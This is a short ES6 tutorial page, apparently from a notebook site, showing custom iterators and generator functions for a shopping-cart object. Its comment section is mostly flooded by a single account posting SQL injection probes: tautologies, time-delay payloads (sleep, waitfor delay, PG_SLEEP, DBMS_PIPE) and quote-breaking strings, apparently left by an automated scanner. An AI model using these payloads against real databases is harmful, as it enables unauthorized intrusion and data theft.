ES6 Iterators and Generators

node v0.12.18
version: 1.0.0
endpointsharetweet
ES6 introduced the new for...of construct to iterate over collections:
// For...of will give us the items instead of the indexes. for (var item of [2,4,6,8]) console.log(item)
With iterators, your own custom collections can define how they behave in for...of. Simply assign an iterator method to a property with the global iterator symbol:
var cart = { items: ["pizza", "car", "pastrami"], [Symbol.iterator] : function () { var index = 0; var length = this.items.length; return { next: () => { if (index < length) return { value: this.items[index++], done: false }; return { value:null, done: true }; } } } } for (item of cart) console.log(item + " is in your cart!");
Generators allow you to write the same code in a much less verbose way:
var cart = { items: ["pizza", "car", "pastrami"], [Symbol.iterator] : function* () { for (var index = 0; index < this.items.length; ++index) yield this.items[index]; } } for (item of cart) console.log(item + " is in your cart!");
Learn more about iterators here: https://hacks.mozilla.org/2015/04/es6-in-depth-iterators-and-the-for-of-loop/ Leran more about generators here: https://hacks.mozilla.org/2015/05/es6-in-depth-generators/
Loading…

26 comments

  • posted a year ago by 6473519fc0a4050008c8cf99
    اگر میشود کیف پول را همیشه ذخیره داشته باشیم
  • posted 12 hours ago by xsjybldb
    1
  • posted 12 hours ago by xsjybldb
    1
  • posted 12 hours ago by xsjybldb
    -1 OR 2+858-858-1=0+0+0+1 --
  • posted 12 hours ago by xsjybldb
    -1 OR 2+220-220-1=0+0+0+1
  • posted 12 hours ago by xsjybldb
    -1' OR 2+445-445-1=0+0+0+1 --
  • posted 12 hours ago by xsjybldb
    -1' OR 2+805-805-1=0+0+0+1 or 'kVpP03ka'='
  • posted 12 hours ago by xsjybldb
    -1" OR 2+498-498-1=0+0+0+1 --
  • posted 12 hours ago by xsjybldb
    if(now()=sysdate(),sleep(15),0)
  • posted 12 hours ago by xsjybldb
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted 12 hours ago by xsjybldb
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted 12 hours ago by xsjybldb
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted 12 hours ago by xsjybldb
    -1; waitfor delay '0:0:15' --
  • posted 12 hours ago by xsjybldb
    -1); waitfor delay '0:0:15' --
  • posted 12 hours ago by xsjybldb
    1 waitfor delay '0:0:15' --
  • posted 12 hours ago by xsjybldb
    xEy9PNY7'; waitfor delay '0:0:15' --
  • posted 12 hours ago by xsjybldb
    -5 OR 577=(SELECT 577 FROM PG_SLEEP(15))--
  • posted 12 hours ago by xsjybldb
    -5) OR 744=(SELECT 744 FROM PG_SLEEP(15))--
  • posted 12 hours ago by xsjybldb
    -1)) OR 771=(SELECT 771 FROM PG_SLEEP(15))--
  • posted 12 hours ago by xsjybldb
    ttQkYRuj' OR 250=(SELECT 250 FROM PG_SLEEP(15))--
  • posted 12 hours ago by xsjybldb
    DR3aHb42') OR 109=(SELECT 109 FROM PG_SLEEP(15))--
  • posted 12 hours ago by xsjybldb
    zkiqvA28')) OR 292=(SELECT 292 FROM PG_SLEEP(15))--
  • posted 12 hours ago by xsjybldb
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted 12 hours ago by xsjybldb
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted 12 hours ago by xsjybldb
    1'"
  • posted 12 hours ago by xsjybldb
    @@77OiI

sign in to comment